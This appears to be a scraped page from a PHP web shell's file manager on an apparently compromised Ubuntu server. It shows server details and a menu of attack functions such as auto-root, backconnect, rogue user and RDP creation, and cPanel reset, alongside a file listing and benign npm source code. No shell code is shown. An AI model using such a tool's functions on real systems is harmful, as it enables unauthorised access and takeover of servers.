Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
npm /
lib /
utils /
[ HOME SHELL ]
Name
Size
Permission
Action
completion
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
ansi-trim.js
173
B
-rw-r--r--
audit-error.js
978
B
-rw-r--r--
cmd-list.js
2.5
KB
-rw-r--r--
completion.sh
1.84
KB
-rw-r--r--
deref-command.js
779
B
-rw-r--r--
did-you-mean.js
1.46
KB
-rw-r--r--
display.js
2.89
KB
-rw-r--r--
error-message.js
12.79
KB
-rw-r--r--
exit-handler.js
5.28
KB
-rw-r--r--
explain-dep.js
3.47
KB
-rw-r--r--
explain-eresolve.js
2.56
KB
-rw-r--r--
file-exists.js
217
B
-rw-r--r--
format-bytes.js
621
B
-rw-r--r--
get-identity.js
1.29
KB
-rw-r--r--
hosted-git-info-from-manifest....
588
B
-rw-r--r--
is-windows-bash.js
155
B
-rw-r--r--
is-windows-shell.js
144
B
-rw-r--r--
is-windows.js
46
B
-rw-r--r--
log-file.js
7.03
KB
-rw-r--r--
log-shim.js
1.68
KB
-rw-r--r--
npm-usage.js
1.98
KB
-rw-r--r--
open-url.js
1.17
KB
-rw-r--r--
otplease.js
620
B
-rw-r--r--
path.js
196
B
-rw-r--r--
ping.js
252
B
-rw-r--r--
pulse-till-done.js
412
B
-rw-r--r--
queryable.js
9.56
KB
-rw-r--r--
read-package-name.js
285
B
-rw-r--r--
read-user-info.js
1.99
KB
-rw-r--r--
reify-finish.js
876
B
-rw-r--r--
reify-output.js
5.04
KB
-rw-r--r--
replace-info.js
778
B
-rw-r--r--
split-package-names.js
618
B
-rw-r--r--
tar.js
3.73
KB
-rw-r--r--
timers.js
2.87
KB
-rw-r--r--
unsupported.js
1.54
KB
-rw-r--r--
update-notifier.js
1.69
KB
-rw-r--r--
usage.js
597
B
-rw-r--r--
validate-lockfile.js
1023
B
-rw-r--r--
with-chown-sync.js
350
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : explain-eresolve.js
// this is called when an ERESOLVE error is caught in the exit-handler, // or when there's a log.warn('eresolve', msg, explanation), to turn it // into a human-intelligible explanation of what's wrong and how to fix. const { writeFileSync } = require('fs') const { explainEdge, explainNode, printNode } = require('./explain-dep.js') // expl is an explanation object that comes from Arborist. It looks like: // Depth is how far we want to want to descend into the object making a report. // The full report (ie, depth=Infinity) is always written to the cache folder // at ${cache}/eresolve-report.txt along with full json. const explain = (expl, color, depth) => { const { edge, dep, current, peerConflict, currentEdge } = expl const out = [] const whileInstalling = dep && dep.whileInstalling || current && current.whileInstalling || edge && edge.from && edge.from.whileInstalling if (whileInstalling) { out.push('While resolving: ' + printNode(whileInstalling, color)) } // it "should" be impossible for an ERESOLVE explanation to lack both // current and currentEdge, but better to have a less helpful error // than a crashing failure. if (current) { out.push('Found: ' + explainNode(current, depth, color)) } else if (peerConflict && peerConflict.current) { out.push('Found: ' + explainNode(peerConflict.current, depth, color)) } else if (currentEdge) { out.push('Found: ' + explainEdge(currentEdge, depth, color)) } else /* istanbul ignore else - should always have one */ if (edge) { out.push('Found: ' + explainEdge(edge, depth, color)) } out.push('\nCould not resolve dependency:\n' + explainEdge(edge, depth, color)) if (peerConflict) { const heading = '\nConflicting peer dependency:' const pc = explainNode(peerConflict.peer, depth, color) out.push(heading + ' ' + pc) } return out.join('\n') } // generate a full verbose report and tell the user how to fix it const report = (expl, color, fullReport) => { const orNoStrict = expl.strictPeerDeps ? '--no-strict-peer-deps, ' : '' const fix = `Fix the upstream dependency conflict, or retry this command with ${orNoStrict}--force, or --legacy-peer-deps to accept an incorrect (and potentially broken) dependency resolution.` writeFileSync(fullReport, `# npm resolution error report ${new Date().toISOString()} ${explain(expl, false, Infinity)} ${fix} Raw JSON explanation object: ${JSON.stringify(expl, null, 2)} `, 'utf8') return explain(expl, color, 4) + `\n\n${fix}\n\nSee ${fullReport} for a full report.` } module.exports = { explain, report, }
Close